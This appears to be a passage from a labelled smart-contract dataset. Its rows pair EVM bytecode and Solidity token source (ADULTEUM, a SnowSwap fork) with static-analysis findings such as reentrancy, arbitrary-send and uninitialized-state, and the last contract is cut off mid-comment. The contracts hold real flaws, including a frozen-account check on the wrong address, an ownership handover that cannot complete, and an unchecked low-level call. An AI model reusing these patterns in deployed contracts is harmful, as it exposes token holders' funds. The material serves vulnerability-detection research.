0046113df565b6105b6565b3480156102fd57600080fd5b506101736105c3565b34801561031257600080fd5b506101736105f9565b34801561032757600080fd5b506101c0610336366004611365565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600e546001600160a01b0316336001600160a01b03161461038157600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103b23384846109c7565b5060015b92915050565b60006103c9848484610aeb565b61041b84336104168560405180606001604052806028815260200161162e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c3d565b6109c7565b5060019392505050565b6000546001600160a01b031633146104585760405162461bcd60e51b815260040161044f906114c8565b60405180910390fd5b6b033b2e3c9fd0803ce8000000601155565b600e546001600160a01b0316336001600160a01b03161461048a57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104d55760405162461bcd60e51b815260040161044f906114c8565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461051357600080fd5b4761051d81610c77565b50565b6001600160a01b0381166000908152600260205260408120546103b690610cb1565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161044f906114c8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b2338484610aeb565b600e546001600160a01b0316336001600160a01b0316146105e357600080fd5b60006105ee30610520565b905061051d81610d35565b6000546001600160a01b031633146106235760405162461bcd60e51b815260040161044f906114c8565b601054600160a01b900460ff161561067d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044f565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106bd30826b033b2e3c9fd0803ce80000006109c7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f657600080fd5b505afa15801561070a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072e9190611348565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077657600080fd5b505afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae9190611348565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f657600080fd5b505af115801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611348565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061085e81610520565b6000806108736000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108d657600080fd5b505af11580156108ea573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090f9190611445565b5050601080546b033b2e3c9fd0803ce800000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098b57600080fd5b505af115801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c39190611428565b5050565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b6001600160a01b03831660009081526006602052604090205460ff1615610b7357600080fd5b6001600160a01b0383163014610c0c57600a54600c55600b54600d556000610b9a30610520565b601054909150600160a81b900460ff16158015610bc557506010546001600160a01b03858116911614155b8015610bda5750601054600160b01b900460ff165b15610c0a578015610bee57610bee81610d35565b4767016345785d8a0000811115610c0857610c0847610c77565b505b505b6000546001600160a01b0384811691161415610c2d576000600d819055600c555b610c38838383610ebe565b505050565b60008184841115610c615760405162461bcd60e51b815260040161044f9190611473565b506000610c6e84866115c7565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109c3573d6000803e3d6000fd5b6000600854821115610d185760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044f565b6000610d22610ec9565b9050610d2e8382610eec565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7d57610d7d6115f4565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dd157600080fd5b505afa158015610de5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e099190611348565b81600181518110610e1c57610e1c6115f4565b6001600160a01b039283166020918202929092010152600f54610e4291309116846109c7565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e7b9085906000908690309042906004016114fd565b600060405180830381600087803b158015610e9557600080fd5b505af1158015610ea9573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c38838383610f2e565b6000806000610ed6611025565b9092509050610ee58282610eec565b9250505090565b6000610d2e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106d565b600080600080600080610f408761109b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f7290876110f8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fa1908661113a565b6001600160a01b038916600090815260026020526040902055610fc381611199565b610fcd84836111e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161101291815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006110448282610eec565b821015611064575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361108e5760405162461bcd60e51b815260040161044f9190611473565b506000610c6e8486611586565b60008060008060008060008060006110b88a600c54600d54611207565b92509250925060006110c8610ec9565b905060008060006110db8e87878761125c565b919e509c509a509598509396509194505050505091939550919395565b6000610d2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c3d565b600080611147838561156e565b905083811015610d2e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b60006111a3610ec9565b905060006111b183836112ac565b306000908152600260205260409020549091506111ce908261113a565b30600090815260026020526040902055505050565b6008546111f090836110f8565b600855600954611200908261113a565b6009555050565b6000808080611221606461121b89896112ac565b90610eec565b90506000611234606461121b8a896112ac565b9050600061124c826112468b866110f8565b906110f8565b9992985090965090945050505050565b600080808061126b88866112ac565b9050600061127988876112ac565b9050600061128788886112ac565b905060006112998261124686866110f8565b939b939a50919850919650505050505050565b6000826112bb575060006103b6565b60006112c783856115a8565b9050826112d48583611586565b14610d2e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b60006020828403121561133d57600080fd5b8135610d2e8161160a565b60006020828403121561135a57600080fd5b8151610d2e8161160a565b6000806040838503121561137857600080fd5b82356113838161160a565b915060208301356113938161160a565b809150509250929050565b6000806000606084860312156113b357600080fd5b83356113be8161160a565b925060208401356113ce8161160a565b929592945050506040919091013590565b600080604083850312156113f257600080fd5b82356113fd8161160a565b946020939093013593505050565b60006020828403121561141d57600080fd5b8135610d2e8161161f565b60006020828403121561143a57600080fd5b8151610d2e8161161f565b60008060006060848603121561145a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114a057858101830151858201604001528201611484565b818111156114b2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561154d5784516001600160a01b031683529383019391830191600101611528565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611581576115816115de565b500190565b6000826115a357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115c2576115c26115de565b500290565b6000828210156115d9576115d96115de565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461051d57600080fd5b801515811461051d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5251f3f02a63d60d0d0b86bedf8b52070a8aab6e445f89a5f43c92dbbd6c59564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,642 |
0xca04a4107d009c46a801a61a60defd07afb9f88a
|
pragma solidity ^0.4.16;
// ADULTEUM Token Smart contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// ADULTEUM Symbol: ADULT
contract ADULTEUMToken {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* ADULTEUM tokens Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract ADULTStandardToken is ADULTEUMToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ADULTEUM is ADULTStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 18;
uint256 public totalSupply = 1618033988 * 10**18 ;
string constant public name = "ADULTEUM";
string constant public symbol = "ADULT";
function ADULTEUM(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600881526020017f4144554c5445554d00000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f4144554c5400000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a723058201fd1f0c940e14b11d7cca877cdd6cf8d4e9f97edd185938ac597c6ac24a6f18a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 1,643 |
0xfe9a29ab92522d14fc65880d817214261d8479ae
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
/**
_____ _ _ _____ _ _
/ ___| \ | | _ || | | |
\ `--.| \| | | | || | | |
`--. \ . ` | | | || |/\| |
/\__/ / |\ \ \_/ /\ /\ /
\____/\_| \_/\___/ \/ \/
SNOW Token
Forked from COMP and UNI
Although this contract is based on Compound and Uniswap, SNOW itself has not been audited.
Use at your own risk!
*/
contract Snow {
/// @notice EIP-20 token name for this token
string public constant name = "SnowSwap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "SNOW";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 500000e18; // 500,000 Snow
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Snow token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Snow::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
